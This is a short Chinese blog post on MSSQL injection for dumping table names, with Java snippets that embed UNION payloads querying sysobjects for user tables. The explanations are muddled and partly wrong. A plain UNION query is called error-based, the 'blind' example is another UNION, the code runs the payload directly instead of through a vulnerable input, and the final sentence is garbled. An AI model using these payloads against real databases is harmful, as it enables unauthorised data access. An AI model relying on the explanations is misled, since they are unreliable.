MSSQL注入攻击:爆表结构技术(mssql 注入爆表语句)

MSSQL注入攻击是通过在可疑输入中插入SQL语句,让服务器执行以达到攻击目的的一种攻击。典型的MSSQL注入攻击技术包括爆表结构技术、显示错误报告技术、UNION技术、报头技术、盲注技术等。

爆表结构技术是MSSQL注入攻击中常见的一种技术,它主要利用SQL注入漏洞,从可疑输入中构造出一个SQL查询,从而使数据库中的表结构信息暴露出来,从而了解数据库有哪些表,表中还有哪些字段信息。爆表结构技术主要通过两种方式实现,一种是通过error-based SQL注入获取表结构信息,一种是通过blind-based SQL注入获取表结构信息。

error-based SQL注入获取表结构信息:

Error-based SQL注入是把一段不正确的SQL查询语句放到可疑输入中,让服务器执行,如果服务器能够正确执行并返回一个错误,则可以从这个错误中获取到数据库中表结构信息,比如table name”或”columns name”等。

下面是一段通过error-based SQL注入获取表结构信息的代码:

//SQL注入语句

String sql = “SELECT * FROM table WHERE id = -1 UNION SELECT name FROM sysobjects where xtype=’U’;”;

// 执行SQL查询

Statement statement = conn.createStatement();

ResultSet rs = statement.executeQuery(sql);

// 获取表结构信息

while (rs.next()) {

System.out.println(rs.getString(“name”));

}

Blind-based SQL注入获取表结构信息:

Blind-based SQL注入是利用网站上的响应信息来确定SQL查询的真伪,大致的步骤就是,先通过一句SQL查询出两种情况,一种为符合条件时返回True,一种为不符合条件时返回False,接着通过识别网站的响应来获取表结构信息。

下面是一段通过blind-based SQL注入获取表结构信息的代码:

//SQL注入语句

String sql = “SELECT * FROM table WHERE id = -1 UNION SELECT name FROM sysobjects WHERE xtype=’U’ AND (SELECT COUNT(*) FROM sysobjects)=32;”;

// 执行SQL查询

Statement statement = conn.createStatement();

ResultSet rs = statement.executeQuery(sql);

// 判断响应,获取表结构信息

if (rs.next()) {

System.out.println(rs.getString(“name”));

}

MSSQL注入攻击利用的爆表结构技术是通过让数据库服务器执行特定恶意的SQL查询语句以获取到攻击者想要得到的表结构信息,从而得到数据库表中所有数据。通过精心构造恶意的SQL查询语句,可以轻易地从数据库服务器中获取到有用的表结构信息,而且这种技术用户之间也可以互相做报头,成为网络安全领域危害重大的安全功能之一。


数据运维技术 » MSSQL注入攻击:爆表结构技术(mssql 注入爆表语句)